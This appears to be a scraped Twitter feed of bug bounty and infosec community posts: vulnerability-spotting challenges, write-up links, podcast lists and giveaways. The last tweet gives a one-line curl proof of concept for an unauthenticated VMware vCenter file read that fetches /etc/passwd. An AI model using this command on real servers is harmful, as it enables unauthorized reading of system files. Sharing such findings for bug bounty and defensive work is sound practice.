Bug Bounty Tips

This account is created to help to beginners, sharing about Information Security, Hacking, Bug Bounty Tips, IT and interesting write-ups,info sec jobs posts.

[Intigriti @intigriti]

@_JohnHammond @thecybermentor @albinowax 5️⃣ Node.js "Pug" Server-Side Template Injection by @_JohnHammond

https://t.co/OvwnHQjPfp

[dirty0124 @dirtycoder0124]

My google dork webpage is now publicly available for use. @bugbounty_tips @Bugcrowd @Hacker0x01
https://t.co/n3VIAmnIKr

[Intigriti @intigriti]

Were you able to spot the vulnerability in yesterday's code snippet? 🕵️‍♂️
✅ Yes? Impressive!
❌ No? Don't worry. This is your chance to learn, so let's take a look at the writeup 👇
🧵 Be sure to keep reading this thread for more resources and the winner of our swag!

[Intigriti @intigriti]

Can you spot the vulnerability? 🔎

Show us how you'd be able to read ANY local file you want in the comments 👇

The best explanation gets a 25€ SWAG voucher! 👕

[Bug Bounty Tips @bugbounty_tips]

Hello

[LetsDefend @LetsDefendIO]

How DNS works?

[Intigriti @intigriti]

Can you spot the vulnerability? 🔎

Show us how you'd create an admin account in the comments 👇
The best explanation gets a 25€ SWAG voucher! 👕

[Manas @ManasH4rsh]

Node js securiry checklist:-

https://t.co/0fDAZ41pw5

[Jon Bottarini @jon_bottarini]

The Google security vulnerability reward program 2021 overview: https://t.co/ha6N5Dtx8w

- Over $8.7M in bounties across all programs
- Highest reward: $157,000
- All of this is made possible by the 696 participants! Thank you! 🎉

Check out: https://t.co/Ck2Jv4C5r3 for more!

[Securium Solutions @securiumsoln]

List Of Best Cyber Security/Hacking Podcasts #infosec

Thread

1. Darknet Diaries: https://t.co/0mZfkrMCyj
2. Privacy Osint : https://t.co/KSm3zeZb13
3. Cyber : https://t.co/kx6EzE5EBH
4. Defensive Security: https://t.co/xL3IXeC3Yn
👇👇
@theXSSrat @XssMice @e11i0t_4lders0n

[Bug Bounty Tips @bugbounty_tips]

@intigriti 💥💥

[Intigriti @intigriti]

Join us in our Space! https://t.co/uM3oyAH6rr

We are live !!

[bugcrowd @Bugcrowd]

🎉 100k Giveaway 🎉

Hackers walked so Bugcrowd could run. Thank you for being part of our community! 🏃 💯

To show our appreciation, we're giving away swag all day! 😎

To enter 🎟️ ⤵️
🔁 RETWEET
🧡 LIKE
✅ Drop your fave Bugcrowd memory below👇

#ItTakesACrowd

[Abhisek R @abhis3k_r]

Thanks for understanding.
#bugbounty

[Harsh Bothra @harshbothra_]

Let's hunt some bugs, what could go wrong with this code?

The solution will be posted in today's #securityexplained series.

SecurityExplained Repo: https://t.co/JqwwUom4eI

Source: @SonarSource

#AppSec #infosec #bugbountytips #hacking #securecoding #Developers

[PenTester Nepal🇳🇵 @pentesternepal]

My Offensive Security Certified Professional (OSCP) certification Journey!" writeup is added in 'Pentester Nepal' Medium Publication by Ashish Tamang(@imtodess):

https://t.co/rEWCXo1VFR

#infosec #OSCP #certification #PenTesterNepal #PTN

[David Schütz @xdavidhu]

To finish up 2021, I just published the write-up that I am nominating for the 2021 GCP VRP Prize. It is a written version of the @googlecloud SSRF bug I have previously made a YouTube video about.

Game on! 😎
https://t.co/er4tskj0iZ

[SherlockSecure @sherlocksecure]

Once again!!!

Planning to Giveway 2 @PentesterLab subscription at 2k followers!

Task: Follow & share one bug bounty tip to the community and make sure it’s a unique.

Retweet for higher chances 🐶
#bugbounty #giveaway

[María Castillo ♿ @MariaCyberlaw]

Day 15 of #AdventOfCyber I did the TryHackMe cyber careers quiz and found that I would make a good Security Analyst! Nice!

Do the quiz and find your ideal cyber career! 💼 https://t.co/Px0qJHqyBD #tryhackme via @tryhackme

[RIVER @wugeej]

VMware vCenter unauthorized arbitrary file read

PoC working to Earlier versions (7.0.2.00100)

[PoC]
curl --insecure --path-as-is -s "$host/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd"

https://t.co/Uah4ucgtAT